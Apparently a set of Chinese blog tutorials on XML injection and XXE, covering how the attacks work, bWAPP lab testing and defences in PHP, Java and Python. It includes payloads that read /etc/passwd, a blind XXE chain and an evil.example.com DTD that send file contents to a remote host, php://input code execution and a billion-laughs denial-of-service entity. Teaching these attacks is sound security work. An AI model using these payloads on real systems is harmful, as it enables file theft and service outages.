精华内容
下载资源
问答
  • XML注入

    千次阅读 2019-09-07 22:54:20
    XML注入简介 什么是xml? XML 指可扩展标记语言(EXtensible Markup Language) XML 是一种标记语言,很类似 HTML XML 的设计宗旨是传输数据,而非显示数据 XML 标签没有被预定义。您需要自行定义标签。 XML ...

    XML注入简介


    什么是xml?

    XML 指可扩展标记语言(EXtensible Markup Language)

    XML 是一种标记语言,很类似 HTML

    XML 的设计宗旨是传输数据,而非显示数据

    XML 标签没有被预定义。您需要自行定义标签。

    XML 被设计为具有自我描述性。

    XML 是 W3C 的推荐标准

    例如:在tomcat中配置文件的存储格式便是XML文件,server.xml、web.xml

     xml特点

    XML仅仅是纯文本,他不会做任何事情。

    XML可以自己发明标签(允许定义自己的标签和文档结构)

    XML 无所不在。XML 是各种应用程序之间进行数据传输的最常用的工具,并且在信息存储和描述领域变得越来越流行。

    总结成一句话就是:XML是用来存储数据的

    xml的定义

    推荐学习文章如下:

    https://www.w3school.com.cn/xml/xml_syntax.asp

    https://jingyan.baidu.com/article/77b8dc7fb26f366174eab639.html

    https://www.cnblogs.com/weiyinfu/p/5374824.html

    最终得出一个结构

    首先进行XML声明,然后是DTD部分  ==>>   <!DOCTYPE 变量名 <元素>>

    也就是XML名单定义,最后XML文档元素,如下代码

    <?xml version="1.0"?>
    <!DOCTYPE ANY [
        <!ENTITY test SYSTEM "file:///etc/passwd">
    ]>
    <a>
        <b>&test;</b>
    </a>

    什么是XML注入?

    XML注入又叫XXE攻击

    XXE = XML External Entity 即外部实体,从安全角度理解成XML External Entity attack 外部实体注入攻击

    有了XML实体,关键字’SYSTEM’会令XML解析器从URI中读取内容,并允许它在XML文档中被替换

    因此,攻击者可以通过实体将他自定义的值发送给应用程序,然后让应用程序去呈现

     简单来说,攻击者强制XML解析器去访问攻击者指定的资源内容(可能是系统上本地文件亦或是远程系统上的文件)

    XXE扩展

    <!ENTITY 实体名称 SYSTEM “URI/URL”>

    外部引用可支持http,file等协议,不同的语言支持的协议不同,但存在一些通用的协议,具体内容如下所示:

    知识扩展


    php伪协议

    php伪协议实际上就是支持与封装的协议(共十二种)

    a.  file:// — 访问本地文件系统

    b.  http:// — 访问 HTTP(s) 网址

    c.  ftp:// — 访问 FTP(s) URLs

    d.  php:// — 访问各个输入/输出流(I/O streams)

    e.  zlib:// — 压缩流

    f.  data:// — 数据(RFC 2397)

    g.  glob:// — 查找匹配的文件路径模式

    h.  phar:// — PHP 归档

    i.  ssh2:// — Secure Shell 2

    j.  rar:// — RAR

    k. ogg:// — 音频流

    l.  expect:// — 处理交互式的流

    file://协议

    file://协议在双off的情况下也是可以正常使用的

    allow_url_fopen :off/on

    allow_url_include:off/on


    file://用于访问本地文件系统,在CTF中常用来读取本地文件

    使用方法:file://文件的绝对路径和文件名

    php://协议

    php://协议的使用条件:

    1.  不需要开启allow_url_fopen

    2.  php://input、 php://stdin、 php://memory 和 php://temp 需要开启allow_url_include。


    php://filter 用于读取源码且在双off的情况下也可以正常使用

    allow_url_fopen :off/on   (使用条件)

    allow_url_include:off/on

    Eg: http://127.0.0.1/cmd.php?file=php://filter/read=convert.base64-encode/resource=index.php


    php://input 可以访问请求的原始数据的只读流, 将post请求中的数据作为PHP代码执行。

    allow_url_fopen :off/on

    allow_url_include:on

    Eg:http://127.0.0.1/cmd.php?file=php://input

            [POST DATA] <?php phpinfo()?>

    参考文章https://www.cnblogs.com/So7cool/p/9795712.html

    漏洞原理


    XXE漏洞形成大体有4种方式:

    1. simplexml_load_string()函数造成的回显注入
    2. SimpleXMLElement()对象造成的回显注入
    3. DOMDocument()类造成的回显注入
    4. BlindXXE形式==>>也是由simplexml_load_string()函数造成的无回显注入

    simplexml_load_string()函数

    转换形式良好的XML字符串为SimpleXMLElement对象,然后输出对象的键和元素,下面的菜鸟教程测试代码

    个人测试代码如下

    SimpleXMLElement()对象

    此函数用来实例化一个SimpleXML,如下代码

    $index = new SimpleXMLElement('<doc></doc>');

    实际代码测试如下

    DOMDocument()类

    参考文章:

    https://blog.csdn.net/ssll2826/article/details/84080038

    https://bbs.csdn.net/topics/360051568?list=19321717

    实例测试如下图

    特别注意:最初的php版本显示不了dom信息,需要php5.3以上才支持(必须加粗加红,看了半天)

    参考链接:https://bbs.csdn.net/topics/392170938

    漏洞实现


    回显类

    simplexml_load_string()函数,提交的post数据为,较好形式的XML字符串,如下图

    SimpleXMLElement()对象和DOMDocument()类,测试与上图一致

    无回显类

    我们先读取我们想要的文件,然后为了传输方便,我们先来个base64编码,我们可以使用php伪协议读取文件(仅PHP支持)

    在无回显的时候我们就需要引用外部实体了

    下面是个人搭建的靶场

    $postStr是个可控变量,$GLOBALS超全局变量,”HTTP_RAW_POST_DATA”是我们传的参数

    simplexml_load_string()函数转换形式良好的XML字符串为SimpleXMLElement对象,如下图所示

    构造代码

    需要我们提交的xml形式的字符串,由于页面无法给我们回显,得尝试其他发放,首先我们需要上传的参数,首先声明文件,在DTD部分,定义file实体存储通过php伪协议读取的flag.php文件,然后引用外部实体,如下图所示

    构造其中的1.xml文件,定义send实体,通过get方式向2.php传参,参数值为file实体,注意标红部分不得用%,必须转码,为了避免和上面的%号冲突,实际测试不转也不行,如下图所示

    构造2.php文件,向3.txt文件写入file实体的内容,如下图所示

    说一下大体流程

    第一个图:我们提交的poyload,是通过php伪协议读取flag文件内容,报错到变量file中%remote调用DTD中的第二个元素,去访问一个远程的xml文件

    第二个图:元素吧我们之前读到额flag文件作为传参值,去访问本地一个php文件

    第三个图:php文件的作用是把接受到的get传参得到的内容保存到一个txt文件中

    通过这个方式我们可以成功读取,告别了无回显不知道读取内容的尴尬,手动抱拳

    抓包测试

    打开burp,抓取数据包,修改为POST,并打上传参值,如下图所示

    得到3.txt,如下图所示

    漏洞防御


    漏洞条件

    1、当程序允许引用XML外部实体时

    2、用户能自由控制输入

    防御方案

    目前对于XXE漏洞防御最主要的还是禁用加载外部实体的功能;以PHP为例,你只需在代码中配置

    libxml_disable_entity_loader(true);

     如果不禁用加载外部实体,只过滤用户的输入

    • 白名单过滤-可行
    • 黑名单过滤-不建议
    • 字符转义-可行
    展开全文
  • XML 注入

    千次阅读 2019-06-15 17:15:20
    首先先简单的说一下 xml,看一下它的全名称,叫 Xtensible Markup Language,即可扩展的标记语言,可直接理解为内容可自定义扩展,标签可自定义扩展。其实就是一个文本格式的文件,以 xml 结尾,里面的标签内容可以...

    0x00:简介

    首先先简单的说一下 xml,看一下它的全名称,叫 Xtensible Markup Language,即可扩展的标记语言,可直接理解为内容可自定义扩展,标签可自定义扩展。其实就是一个文本格式的文件,以 xml 结尾,里面的标签内容可以自定义。它具有很清晰的层次结构,便于阅读,经常被用来做配置文件和存储数据。web 中用 xml 格式来传输数据和处理的功能也有很多。而后端没有对 xml 传来的数据做严格的检查时即会造成 xml 注入。

    以下是一个基本的 xml 格式:

    <?xml version="1.0" encoding="ISO-8859-1"?>
    <bookstore>
        <book>
          <title>aaa</title> 
          <price>111</price> 
        </book>
        <book>
          <title>bbb</title> 
          <price>222</price> 
        </book>
        <book>
          <title>ccc</title> 
          <price>333</price> 
        </book>
    </bookstore>
    

    第一行是 xml 文件的声明,然后是 xml 的内容,例子中的 bookstore 书店是根元素,其他元素都在 bookstore 标签中,book 标签有两个子元素,分别是书名 title,价格 price,和 html 的结构很像。

    0x01:测试方法

    例如一个 web 应用,使用进行用户注册时,会以 xml 来存储数据到 xmldb 数据库中,当用户填写用户名,密码和邮箱时,后台存储的文件格式及内容如下:

    <?xml version="1.0" encoding="ISO-8859-1"?>
    <users>
        <username>lurenjia</username>
        <password>lurenjia</password>
        <userid>0</userid>
        <mail>lurenjia@lurenjia.com</mail>
    </users>
    

    xml 注入时可以先试一下 xml 中的一些有特殊作用的字符,好比测试 sql 注入我们可能先会输入一些单引号双引号等,测试 xss 时可能先输入尖括号等符号来大概看一下效果。

    单引号(‘):如果被注入的标签是属性值的一部分,那么输入单引号会引起 xml 解析异常。

    <node attrib='$inputValue'/>
    

    当用户输入的值为 test'时,以上代码就变成了,解析会产生异常。

    双引号("):这个和单引号相似,只不过 xml 节点属性值用的双引号,示例如下。

    <node attrib="$inputValue"/>
    

    当用户输入的值为 test" 时,以上代码就变成了, 解析会产生异常。

    尖括号(<、>):当用户输入的内容包含了开放或者闭合的尖括号时,xml 也会解析异常,当 username 为 test < 时,节点示例如下。

    <user>
        <username>test<</username?
    </user>
    

    注释标签():这个字符是注释符号的首尾符,可用来注释内容,当 username 为 test<!-- 时,节点示例如下:

    <user>
        <username>test<!--</username>
    </user>
    

    与符号(&): 这个符号在 xml 中表示实体的意思,以分号结尾,同时实体可用来引入一段内容或外部的文件,例如 & test; 这种格式,当 username 输入 & test 时,xml 会以实体来进行处理,因为没有分号结尾,所以会解析异常,节点示例如下:

    <user>
        <username>&test</username>
    <user>
    

    区段分隔符 CDATA(<![CDATA[/]]): 这个分隔符的意义在于 xml 解析器不会去解析 CDATA 区段包含的字符,例如如果想在文本节点中表示字符串,则可以使用下面的 CDATA 区段。

    <node>
        <![CDATA[<test>]]
    </node>
    

    那么就会被看为是字符数据,从而不会被解析为标记。

    0x02:外部实体

    xml 可以去访问外部的 url 资源,内部的系统文件等,这种行为可以叫做 xxe,即外部实体攻击,类似于 xss 利用时引入的外部恶意脚本。外部实体即外部文件。例如以下示例。

    <?xml version="1.0" encoding="ISO-8859-1"?>
        <!DOCTYPE root[
            <!ENTITY xxe SYSTEM "file:///etc/passwd">]>
            <root>&xxe;</root>
    

    DOCTYPE 用来声明 DTD 的,ENTITY 用来声明实体,内部声明实体格式是:

    <!ENTITY 实体名称 "实体值">

    外部声明实体的格式是:

    <!ENTITY 实体名称 SYSTEM "URI">

    所以上述示例代码中声明了一个外部实体,变量名称叫 xxe,值引入的是 passwd 文件的路径,最后在 root 标签中引入了这个遍历。

    0x03:bwapp

    这里我们直接拿 bwapp 来测试,找到 xxe 的测试项,抓包如下。

    请输入图片描述

    可以看到它会发送一段 xml 数据给 xxe-2 这个文件,我们进行测试,输入 xml 引用外部实体的代码,如下图。

    请输入图片描述

    上图绿框中就是新添加的引入外部实体的代码,然后我们通过 reset 节点就行了 test 变量的引用,服务器会读取这个文件的内容并进行返回。

    当服务器没有任何返回时,或者只有错误信息,可能会存在盲注的情况,这时我们可以借助 burp 的 collaborator 来进行测试,实体引入部分放上 collaborator 生成的连接地址,如果后台访问了这个地址,那么我们这边便可以及时捕获到,说明服务器是存在 xxe 的,如下图。

    请输入图片描述

    0x04:代码分析

    我们可以顺便看一下 bwapp 给我们的示例代码加深印象,xxe-1.php 文件很简单,就是发送 xml 数据给 xxe-2.php,核心代码如下。

    <script type="text/javascript">
    
        function ResetSecret()
        {
            var xmlHttp;
            // Code for IE7+, Firefox, Chrome, Opera, Safari
            if(window.XMLHttpRequest)
            {
                xmlHttp = new XMLHttpRequest();
            }
            // Code for IE6, IE5
            else
            {
                xmlHttp = new ActiveXObject("Microsoft.XMLHTTP");
            }
            xmlHttp.open("POST","xxe-2.php",true);
            xmlHttp.setRequestHeader("Content-type","text/xml; charset=UTF-8");
            xmlHttp.send("<reset><login><?php if(isset($_SESSION["login"])){echo $_SESSION["login"];}?></login><secret>Any bugs?</secret></reset>");
        }
    
    </script>
    

    然后我们查看 xxe-2.php 的内容,先看第一部分的内容。

    $message = "";
    $body = file_get_contents("php://input");
    
    if($_COOKIE["security_level"] != "1" && $_COOKIE["security_level"] != "2"){
        ini_set("display_errors",1);
        $xml = simplexml_load_string($body);
        $login = $xml->login;
        $secret = $xml->secret;
        if($login && $login != "" && $secret){        
            $sql = "UPDATE users SET secret = '" . $secret . "' WHERE login = '" . $login . "'";
            $recordset = $link->query($sql);
            if(!$recordset){
                die("Connect Error: " . $link->error);
            }
            $message = $login . "'s secret has been reset!";
        }else{
        $message = "An error occured!";
    }
    }
    

    首先程序利用了 file_get_contents 获取了我们传来的内容,然后进行了安全等级的判断,如果不是 1 或者 2,也就是不是中级和高级,那么会 if 中的语句,if 中语句通过 simplexml_load_string 把我们传来的内容进行了 xml 解析,随后就直接进行了数据库的操作并返回了信息。可以看到,在这个过程中我们传来的 xml 内容并未做任何的限制和过滤。

    之后我们在看下 else 部分的处理方式,也就是中高级时的内容,代码如下。

        $secret = mysqli_real_escape_string($link, $secret);
    
        $sql = "UPDATE users SET secret = '" . $secret . "' WHERE login = '" . $login . "'";
    
        $recordset = $link->query($sql);
    
        if(!$recordset)
        {
    
            die("Connect Error: " . $link->error);
    
        }
    
        $message = $login . "'s secret has been reset!";
    

    中高级多了一步处理,也就是使用了 mysqli_real_escape_string 函数进行了 xml 内容的过滤,这个函数会过滤换行、制表、单引号、双引号等。这时原来的 xml 会被解析失败,关键符号被过滤了。这里需要提一下的是我这个 bwapp 不是最新的,最新版本 bwapp 不知都有没有更新,因为 mysqli_real_escape_string 在 php5.5 中已经被弃用了,php7.0 删除了此函数,所以如果在开发中,不建议使用此函数。

    0x05:防御

    对于 xxe 问题的防御 bwapp 中的过滤特殊字符是一种方式,另外同时也建议设置其禁用外部实体,基本每个开发语言都有禁用外部实体的方法,例如 php:

    libxml_disable_entity_loader(true);
    

    java:

    DocumentBuilderFactory dbf = DocumentBuilderFactory.newInstance();
    dbf.setExpandEntityReferences(false);
    

    python:

    from lxml import etree
    xmlData = etree.parse(xmlSource, etree.XMLParser(resolve_entities=False))
    

    同时也建议过滤下 XML 的数据内容,过滤掉类似于 <!DOCTYPE、<!ENTITY、SYSTEM、PUBLIC 等关键字。

    0x06:总结

    对于使用 xml 内容传输的功能也很常见,现在 xxe 也是我们 top10 之列,危害和 ssrf 也很类似,可用来做内网探测、文件读取等,测试时,我们可以先加入一些 xml 中特殊符号来进行测试,看返回是否有异常,若只返回类似的模糊错误信息,则可进行盲 xxe 的测试。防御时,尽量做到多种方法结合使用,有效避免 xxe 漏洞的产生。


                                                                                      公众号推荐:aFa攻防实验室

                              分享关于信息搜集、Web安全、内网安全、代码审计、红蓝对抗、Java、Python等方面的东西。

                                                                                         

    展开全文
  • Web服务的XML注入攻击检测
  • 实现了XML注入Bean,为bean注入bean,构造注入,Map,List,Set,Property 注入
  • XML注入攻击总结

    千次阅读 2020-09-08 23:42:15
    XML注入攻击总结普通的XML注入 普通的XML注入 原理 XML注入攻击和SQL注入攻击的原理一样,利用了XML解析机制的漏洞,如果系统对用户输入"<",">"没有做转义的处理,攻击者可以修改XML的数据格式,或者添加新...

    普通的XML注入

    • 原理
      XML注入攻击和SQL注入攻击的原理一样,利用了XML解析机制的漏洞,如果系统对用户输入"<",">"没有做转义的处理,攻击者可以修改XML的数据格式,或者添加新的XML节点,就会导致解析XML异常,对流程产生影响。

    • 如何注入攻击

    1. 如下XML是用于注册访问用户,其中用户名是由用户自己输入的。
    <?xml version="1.0" encoding="UTF-8" ?>
    <user role="guest">用户输入</user>
    
    1. 攻击者在输入用户的时候,可以构造" user1 < /user> < user role=“admin”>user2"数据去拼接XML,之后整个XML字符串将会变成如下格式。这样就添加了一个管理员权限的用户。
    <?xml version="1.0" encoding="UTF-8" ?>
    <user role="guest">user1</user>
    <user role="admin">user2</user>
    
    • 如何防护
    1. 使用白名单校验
      可以使用正则的方式对用户的输入做严格的校验,比如用户输入的用户名只能含有中文,英文大小写字母,数字以及下划线等等。
    2. 使用安全的XML库
      正确代码使用dom4j来构建XML,dom4j是一个定义良好,开源的XML工具库,Dom4j将会对文本数据进行XML编码,从而使得XML的原始结构和格式免受破坏。
      代码中最终生成的XML会进行编码,会被替换,从而防止了XML注入。
        @Test
        public void testDom4j() {
            Document document = DocumentHelper.createDocument();
            Element user = document.addElement("user");
            user.addAttribute("role","guest");
            user.setText(REPLACE_XML);
            String xml = document.asXML();
            System.out.println(xml);
        }
    
    <?xml version="1.0" encoding="UTF-8"?>
    <user role="guest">user1&lt;/user&gt;&lt;user role="admin"&gt;user2</user>
    
    1. 对用户输入的字段进行转码处理
      代码中对传过来的参数进行了转码处理,之后去构造XML字符串,就不会导致XML字符串结构被篡改。
        @Test
        public void testTrans() {
            String xml = "<?xml version=\"1.0\" encoding=\"UTF-8\" ?>\n" +
                    "<user role=\"guest\">%s</user>";
            String replace = "user1</user><user role=\"admin\">user2";
            String format = String.format(xml, xmlConversion(replace));
            System.out.println(format);
        }
        
        /**
         * 转义xml中不支持的特殊字符
         * 
         * @param strXml
         * @return
         */
        private String xmlConversion(String strXml){
            String conversionStr = "";
            if(strXml == null){
                return null;
            }
            conversionStr = strXml.replaceAll("&","&amp;").replaceAll("<","&lt;").replaceAll(">","&gt;").
                    replaceAll("'","&apos;").replaceAll("\"","&quot;");
            return conversionStr;
        }
    
    • 项目代码中的排查
      首先要找到前台在那些地方拼接了XML,之后需要查看对应的代码逻辑,查看后台是否存在没有处理前端数据直接拼接的情况,如果存在则进行对应的修改,转码,白名单,使用安全的XML库等等。

    XML外部实体注入攻击

    • 原理
      XXE:XML External Entity 即外部实体,从安全角度理解成XML External Entity attack 外部实体注入攻击,由于程序在解析输入的XML数据时,解析了攻击者伪造的外部实体而产生的。
    • 如何注入攻击,注入攻击类型
    1. 利用外部实体的引用功能实现对任意文件的读取
      这个是解析的xml文件,我们定义了一个通用实体,并且在文件中去引用这个实体。
      password.txt文件中记录了敏感的一些信息。
    <?xml version="1.0" encoding="UTF-8" ?>
    <!DOCTYPE updateProfile [
            <!ENTITY file SYSTEM "file:///d:/xml/password.txt"> ]>
    <updateProfile>
        <firstname>joe</firstname>
        <lastname>&file;</lastname>
    </updateProfile>
    

    具体解析代码

        @Test
        public void testXXE1() throws DocumentException {
            File file = new File("d://xml//demo.xml");
            SAXReader reader = new SAXReader();
            Document document = reader.read(file);
            Element rootElement = document.getRootElement();
            String lastname = rootElement.element("lastname").getText();
            System.out.println("get the password "+ lastname);// 这边代码会输出password.txt文件里面的内容
        }
    

    在这里插入图片描述
    2. 使用参数实体和避免XML解析语法错误,构造恶意的实体解析
    使用参数实体和<CDATA[]>避免XML解析语法错误,构造恶意的实体解析:
    XML文件:构造参数实体 % start;% goodies;% end;% dtd 定义一个恶意的combine.dtd

    <?xml version="1.0" encoding="utf-8"?>
    <!DOCTYPE roottag [
    <!ENTITY % start "<![CDATA[">
    <!ENTITY % goodies SYSTEM "file:///etc/fstab">
    <!ENTITY % end "]]>">
    <!ENTITY % dtd SYSTEM "http://evil.example.com/combine.dtd">
    %dtd;
    ]>
    <roottag>&all;</roottag>
    

    恶意DTD combine.dtd中定义实体&all;

    <?xml version="1.0" encoding="UTF-8"?>
    <!ENTITY all "%start;%goodies;%end;">
    

    甚至可以这样构造恶意的DTD combine.dtd,将结果发送到目标地址,最后会获得file:///etc/fstab文件。

    <?xml version=”1.0” encoding=”UTF-8”?>
    <!ENTITY % send “<!ENTITY all SYSTEM ‘http://mywebsite.com/?%gooddies;’>”>
    %send;
    
    • 如何防护
    1. 禁止解析DTDs
        @Test
        public void testXXE2() throws DocumentException, SAXException {
            File file = new File("d://xml//demo.xml");
            SAXReader reader = new SAXReader();
            // 禁止解析DTDS
            reader.setFeature("http://apache.org/xml/features/disallow-doctype-decl", true); //禁止包含doctype
            reader.setFeature("http://xml.org/sax/features/external-general-entities", false); //禁止外部实体解析
            reader.setFeature("http://xml.org/sax/features/external-parameter-entities", false); //禁止外部参数解析
            Document document = reader.read(file);
            Element rootElement = document.getRootElement();
            String lastname = rootElement.element("lastname").getText();
            System.out.println("get the password "+lastname);
        }
    

    这边对上面列到的testXXE方法做了处理,设置了禁止解析DTDs属性,同时也禁止了参数实体和外部实体的解析,该方式不仅可以防止XML的外部实体攻击也能防止XML内部实体攻击。
    具体再运行代码,会抛出如下异常。可以看出DTDs已经被禁止。
    在这里插入图片描述

    1. 禁止解析外部一般实体和外部参数实体
        @Test
        public void testXXE3() throws DocumentException, SAXException {
            File file = new File("d://xml//demo.xml");
            SAXReader reader = new SAXReader();
            // 禁止解析DTDS
            reader.setFeature("http://xml.org/sax/features/external-general-entities", false); //禁止外部实体解析
            reader.setFeature("http://xml.org/sax/features/external-parameter-entities", false); //禁止外部参数解析
            Document document = reader.read(file);
            Element rootElement = document.getRootElement();
            String lastname = rootElement.element("lastname").getText();
            System.out.println("get the password "+lastname);
        }
    

    这边具体运行之后是不能获得lastname的值,可以看到外部参数实体没有被解析出来。(此方法可以防止外部实体攻击,不能预防内部实体攻击)
    在这里插入图片描述
    3. 禁止解析外部实体
    正确示例方法定义一个CustomResolver类来实现接口org.xml.sax.EntityResolver。在这个类中实现自定义的处理外部实体机制。自定义实体解析函数中使用一个简单的白名单,白名单范围里面则返回对应的文件内容,不在白名单范围里面的则返回一个空的实体解析内容。

        // 自定义外部实体处理
        private class CustomResolver implements EntityResolver {
            // 自定义的一个白名单
            String whitePath = "file:///d:/xml/password.txt";
    
            @Override
            public InputSource resolveEntity(String publicId, String systemId) throws SAXException, IOException {
                if (systemId.equals(whitePath)) {
                    System.out.println("Resolving entity: " + publicId + " " + systemId);
                    return new InputSource(whitePath);
                } else {
                    // 解析输入恶意的xml内容时,返回空
                    return new InputSource();
                }
            }
        }
    
        @Test
        public void testXXE() throws DocumentException, SAXException {
            File file = new File("d://xml//demo.xml");
            SAXReader reader = new SAXReader();
            // 设置自定义的外部实体处理
            reader.setEntityResolver(new CustomResolver());
            Document document = reader.read(file);
            Element rootElement = document.getRootElement();
            String lastname = rootElement.element("lastname").getText();
            System.out.println("get the password "+lastname);
        }
    

    因为“file:///d:/xml/password.txt”这个路径是加在白名单里面的,所有上面的代码可以运行通过,能够解析到password.txt文件里面的内容。
    在这里插入图片描述
    如果不在白名单里面,会返回空,或者里面可以加上别的具体的业务逻辑。

    XML内部实体注入攻击

    • 说明
      XML内部实体是实体的内容已经在Doctype中声明。内部实体格式:。内部 实体攻击比较常见的是XML Entity Expansion攻击,它主要试图通过消耗目标程序的服务器内存资源导致DoS攻击。外部实体攻击和内部实体扩展攻击有不同的防护措施(禁止DTDs解析可以防护外部实体和内部实体攻击)。
    • 如何注入攻击,注入攻击类型
    1. 拒绝服务攻击
      下面恶意的XML内部实体解析,占用服务器内存资源,导致拒绝服务攻击。
    <?xml version="1.0"?>
    <!DOCTYPE lolz [
    ​
    <!ENTITY lol "lol">
    <!ENTITY lol2 "&lol;&lol;&lol;&lol;&lol;&lol;&lol;&lol;&lol;&lol;">
    <!ENTITY lol3 "&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;">
    <!ENTITY lol4 "&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;">
    <!ENTITY lol5 "&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;">
    <!ENTITY lol6 "&lol5;&lol5;&lol5;&lol5;&lol5;&lol5;&lol5;&lol5;&lol5;&lol5;">
    <!ENTITY lol7 "&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;">
    <!ENTITY lol8 "&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;">
    <!ENTITY lol9 "&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;">
    ]>
    <lolz>&lol9;</lolz>
    
    • 如何防护
      内部实体扩展攻击最好的防护措施是禁止DTDs的解析。另外也可以对内部实体数量进行限制,以消减内部实体 展攻击发生的可能性。所以在不需要使用内部实体时,应该禁止DTDs解析,需要使用内部实体时,严格限制内部实体的数量及xml内容的大小。
    1. 禁止解析DTDs
      同上
    2. 限制实体解析个数
      通过设置setFeature(“http://javax.xml.XMLConstants/feature/secure-processing”, true);限制实体个数不能超过100,000个。
        @Test
        public void testXmlDos() throws SAXException, DocumentException {
            File file = new File("d://xml//dos.xml");
            SAXReader reader = new SAXReader();
            // 这边设置实体个数不超过10000个
            reader.setFeature("http://javax.xml.XMLConstants/feature/secure-processing", true);
            Document document = reader.read(file);
            String xml = document.asXML();
            System.out.println(xml);
        }
    

    运行结果如果实体超过100,000的话,会直接抛出异常。
    在这里插入图片描述

    参考链接以及项目地址

    • 参考链接
      https://xz.aliyun.com/t/3357#toc-0
      https://www.freebuf.com/column/181064.html

    • 项目地址
      https://github.com/yzh19961031/blogDemo/tree/master/xml

    展开全文
  • 这是概念证明,显示了dom4j上的XML注入漏洞。 该项目具有三个子模块,除了dom4j版本外,这些子模块相同。 易受攻击的模块使用2.1.0,安全模块使用2.1.1,旧版模块使用1.6。 所有模块均具有描述该漏洞的相同测试。 ...
  • XML注入漏洞修复参考

    千次阅读 2020-06-20 10:30:17
    XML注入漏洞修复参考 1. 漏洞背景 可扩展标记语言 (Extensible Markup Language, XML) ,用于标记电子文件使其具有结构性的标记语言,可以用来标记数据、定义数据类型,是一种允许用户对自己的标记语言进行定义的源...

    XML注入漏洞修复参考

    1. 漏洞背景

    可扩展标记语言 (Extensible Markup Language, XML) ,用于标记电子文件使其具有结构性的标记语言,可以用来标记数据、定义数据类型,是一种允许用户对自己的标记语言进行定义的源语言。 XML是标准通用标记语言 (SGML) 的子集,非常适合 Web传输。XML 提供统一的方法来描述和交换独立于应用程序或供应商的结构化数据。发现目前一些普遍使用xml的场景中都存在一种古老的XML实体注入漏洞,这可能导致较为严重的安全问题,使得攻击者可能可以任意访问服务器以及应用所在网络的任何资源。

    XML注入主要分为内容注入和实体注入。内容注入分为XML数据注入、样式表注入、XPATH/XQuery注入。实体注入分为实体循环DDOS、XML炸弹DDOS、外部实体注入。

    恶意攻击者可以利用漏洞攻击做到:

    1. 使用超长标签像 ,多达1024个A,或者使用超多的属性像<AA a= ‘a’b=‘b’…> ,由于XML文件本身标签所占用的资源通常比内容多,在数据和属性比较多时,XML文件将变得非常庞大,给XML文件的传输和解析带来困难;

    2. 递归负载攻击,注入深层次的循环嵌套的XML数据,造成服务器上XML分析器崩溃,造成系统计算资源耗尽而被Dos ;

    3. 外部实体攻击,利用<!Entityname SYSTEM “URI”>。XML文件的解析依赖libxml库,而libxml2.9以前的版本默认支持并开启了外部实体的引用,服务端解析用户提交的XML文件时,未对XML文件引用的外部实体(含外部普通实体和外部参数实体)做合适的处理,并且实体的URL支持file://和ftp://等协议,攻击者可以在XML文件中声明URI指向服务器本地的实体造成攻击。实体攻击可导致信息泄露、任意文件读取、DOS攻击和代码执行等问题。

    2.修复思路

    1. 严格检查用户输入的字符;

    2. 检查使用的底层XML解析库,使用JAVA语言提供的禁用外部实体的方法:

    DocumentBuilderFactory dbf

    =DocumentBuilderFactory.newInstance();dbf.setExpandEntityReferences(false);

    1. 操作XML时对格式字符进行转义处理,常见的格式字符如下表:
    &lt;	<
    &gt;	>
    &amp;	&
    &apos;&quot;

    3.代码修复

    在代码中,对关键字符串进行转义:

    & --> &amp;
     < --> &lt;
     > --> &gt;
     " --> &quot;
     ' --> &#39;
    

    在XML保存和展示之前,对数据部分,单独做转义即可:

    String userdata = "<USER role="+
            GUESTROLE+
            "><name>"+
            StringUtil.xmlencode(request.getParameter("name"))+
            "</name><email>"+
            StringUtil.xmlencode(rrequest.getParameter("email"))+
            "</email></USER>";
    
    展开全文
  • Spring基于Xml注入bean的几种方式

    万次阅读 2019-08-16 11:31:20
    spring中的依赖注入 依赖注入: Dependency Injection IOC的作用: 降低程序间的耦合(依赖关系) 依赖关系的管理: 以后都交给spring来维护,在当前类需要用到其他类的对象,由spring为我们提供, 我们只需要在配置...
  • 浅谈“XML注入

    千次阅读 2020-05-09 12:02:43
    XML注入 描述: 可扩展标记语言 (Extensible Markup Language, XML) ,用于标记电子文件使其具有结构性的标记语言,可以用来标记数据、定义数据类型,是一种允许用户对自己的标记语言进行定义的源语言。 XML是...
  • XML注入、XXE、XPath注入原理与防御

    千次阅读 2018-11-06 22:27:10
    XML:可扩展标记语言,用来传输数据和存储数据,它的标签没有被定义,需要自行定义标签 ...XML注入是通过改写xml的数据内容来实现的   &lt;USER role="guest"&gt;User1&lt;/...
  • xml注入攻击

    千次阅读 2018-07-04 15:57:53
    XML注入攻击,和SQL注入的原理一样,都是攻击者输入恶意的代码来执行自身权限以外的功能。 XML是存储数据的一种方式,如果在修改或者查询时,没有做转义,直接输入或输出数据,都将导致XML注入漏洞。攻击者可以修改...
  • Spring 的XML注入和注解注入混合使用

    千次阅读 2019-02-15 15:25:21
    Spring 的XML注入和注解注入混合使 方式 优点 XML 结构清晰易于阅读 Annotation 开发便捷,注入方便 引入context命名空间 在配置文件中添加context:annotation-config标签 XML管理类,注解进行属性...
  • XML注入攻击

    千次阅读 2016-10-10 18:07:10
    XML文件的解析依赖libxml库,而libxml2.9以前的版本默认支持并开启了外部实体的引用,服务端解析用户提交的xml文件时未对xml文件引用的外部实体(含外部普通实体和外部参数实体)做合适的处理,并且实体的URL支持...
  • XML注入场景

    2016-08-01 09:37:15
    XML注入一般指在请求的XML数据中插入攻击利用代码,根据不同的场景,可能会形成以下的漏洞形式:   1、xee XML Entity Expansion  https://yq.aliyun.com/articles/8723 2、xxe XXE Injection即XML ...
  • XML 注入的介绍与代码防御

    千次阅读 2016-10-07 15:05:39
    一些 Web 应用程序将 XML 文件用于各种用途,从配置到完整数据库功能。 用户输入通常会传播到这些文件中,进而定制配置或更新应用程序数据库。 如果在使用用户输入之前未清理或验证错误字符,那么这会成为安全...
  • web渗透--24--XML注入攻击

    千次阅读 2018-09-16 12:23:06
    1、漏洞描述: 可扩展标记语言(Extensible Markup Language, XML),用于标记电子文件使其具有结构性的标记语言,可以用来标记数据、定义数据类型,是一种允许用户对...XML注入攻击,和SQL注入的原理一样,都是攻...
  • spring-boot 引入xml注入bean

    千次阅读 2018-02-14 20:29:00
